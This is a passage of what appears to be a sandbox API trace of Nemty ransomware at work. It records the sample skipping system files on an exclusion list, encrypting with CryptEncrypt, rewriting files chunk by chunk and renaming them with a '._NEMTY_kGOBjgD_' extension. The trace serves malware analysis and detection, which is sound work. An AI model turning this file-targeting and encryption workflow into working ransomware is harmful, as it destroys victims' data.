lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.830] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.830] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.830] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.830] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.839] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.839] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.839] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.839] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.845] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.845] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.845] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.845] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.851] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.851] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.851] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.851] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340100, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0075.851] CloseHandle (hObject=0xffffffff) returned 0 [0075.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0075.851] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0075.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0075.851] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0075.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0075.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0075.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0075.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0075.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0075.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0075.852] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-over-select.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-over-select.png._nemty_kgobjgd_")) returned 0 [0075.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0075.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0075.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0075.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0075.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0075.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0075.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0075.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0075.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0075.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0075.852] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724a0a00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724a0a00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6b6717, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7e3, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="Pets_btn-previous-static.png", cAlternateFileName="")) returned 1 [0075.852] lstrcmpiW (lpString1="Pets_btn-previous-static.png", lpString2=".") returned 1 [0075.852] lstrcmpiW (lpString1="Pets_btn-previous-static.png", lpString2="..") returned 1 [0075.852] lstrcmpiW (lpString1="Pets_btn-previous-static.png", lpString2="...") returned 1 [0075.852] lstrcmpiW (lpString1="Pets_btn-previous-static.png", lpString2="windows") returned -1 [0075.852] lstrcmpiW (lpString1="Pets_btn-previous-static.png", lpString2="$RECYCLE.BIN") returned 1 [0075.852] lstrcmpiW (lpString1="Pets_btn-previous-static.png", lpString2="rsa") returned -1 [0075.852] lstrcmpiW (lpString1="Pets_btn-previous-static.png", lpString2="NTDETECT.COM") returned 1 [0075.852] lstrcmpiW (lpString1="Pets_btn-previous-static.png", lpString2="ntldr") returned 1 [0075.852] lstrcmpiW (lpString1="Pets_btn-previous-static.png", lpString2="MSDOS.SYS") returned 1 [0075.852] lstrcmpiW (lpString1="Pets_btn-previous-static.png", lpString2="IO.SYS") returned 1 [0075.852] lstrcmpiW (lpString1="Pets_btn-previous-static.png", lpString2="boot.ini") returned 1 [0075.852] lstrcmpiW (lpString1="Pets_btn-previous-static.png", lpString2="boot.ini") returned 1 [0075.852] lstrcmpiW (lpString1="Pets_btn-previous-static.png", lpString2="AUTOEXEC.BAT") returned 1 [0075.852] lstrcmpiW (lpString1="Pets_btn-previous-static.png", lpString2="ntuser.dat") returned 1 [0075.852] lstrcmpiW (lpString1="Pets_btn-previous-static.png", lpString2="desktop.ini") returned 1 [0075.852] lstrcmpiW (lpString1="Pets_btn-previous-static.png", lpString2="CONFIG.SYS") returned 1 [0075.853] lstrcmpiW (lpString1="Pets_btn-previous-static.png", lpString2="RECYCLER") returned -1 [0075.853] lstrcmpiW (lpString1="Pets_btn-previous-static.png", lpString2="BOOTSECT.BAK") returned 1 [0075.853] lstrcmpiW (lpString1="Pets_btn-previous-static.png", lpString2="bootmgr") returned 1 [0075.853] lstrcmpiW (lpString1="Pets_btn-previous-static.png", lpString2="programdata") returned -1 [0075.853] lstrcmpiW (lpString1="Pets_btn-previous-static.png", lpString2="appdata") returned 1 [0075.853] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0075.853] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_btn-previous-static.png", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0075.853] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0075.853] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_btn-previous-static.png", cchWideChar=28, lpMultiByteStr=0x4f9ecb8, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_btn-previous-static.png", lpUsedDefaultChar=0x0) returned 28 [0075.853] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0075.853] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0075.853] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_btn-previous-static.png", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0075.853] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0075.853] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_btn-previous-static.png", cchWideChar=28, lpMultiByteStr=0x4f9ecb8, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_btn-previous-static.png", lpUsedDefaultChar=0x0) returned 28 [0075.853] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0075.853] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0075.853] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0075.853] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0075.853] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_btn-previous-static.png", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0075.853] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0075.853] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_btn-previous-static.png", cchWideChar=28, lpMultiByteStr=0x4f9ecb8, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_btn-previous-static.png", lpUsedDefaultChar=0x0) returned 28 [0075.853] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0075.853] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0075.853] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_btn-previous-static.png", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0075.853] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0075.853] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_btn-previous-static.png", cchWideChar=28, lpMultiByteStr=0x4f9ed58, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_btn-previous-static.png", lpUsedDefaultChar=0x0) returned 28 [0075.853] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0075.853] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0075.853] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0075.853] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942b0 [0075.853] Sleep (dwMilliseconds=0x5) [0075.861] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe0dd0350, dwHighDateTime=0x1d561e7)) [0075.861] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe0dd0350, dwHighDateTime=0x1d561e7)) [0075.861] GetLastError () returned 0x5 [0075.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0075.861] GetLastError () returned 0x5 [0075.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0075.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0075.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0075.861] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0075.861] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0075.861] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0075.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0075.861] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="nl+j3n3CtYzEravem5POZZWILCgRkzL7DYW7Zq9XM6V88ovgxQyCgVOqY3u1Nadc\r\nVcKq3rF+50kDOHAAefcv/lJhaAOYdonxbncqZjaG546LIEkNfRAmSkh5x5Gcw3jx\r\niEhaLGg13MGtnujjRas8V24fQPIwpDnon/H7NROEySqkWBaXy8+k16qgPKLAJhUd\r\nwd21Cx9XCwJ9ePTtQOzPRWf2nP26AajD4vXtqBJdqEuTnEe3f4OzDWfgA0L+Mov6\r\nxFwnPvdAZHJEyGOuApGKnXy6+3E2bE39HeE6/cQPNfwTNjtR8qhuQ6bBEDLdUw9e\r\nD+Y/RrtrcW1OXoA6sXe7FA==\r\n", pcchString=0x653e91c) returned 1 [0075.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0075.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0075.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0075.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0075.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0075.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0075.861] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0075.861] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0075.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0075.862] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.862] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.871] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.871] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.871] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.871] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.887] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.887] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.887] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.887] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.897] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.897] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.897] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.897] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.907] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.907] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.907] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.907] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.920] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.920] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.920] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.920] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.930] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.930] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.930] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.930] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.939] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.939] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.939] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.939] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.948] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.949] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.949] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.949] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.958] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.958] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.958] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.958] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.968] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.968] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.968] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.968] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.979] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.979] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.979] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, 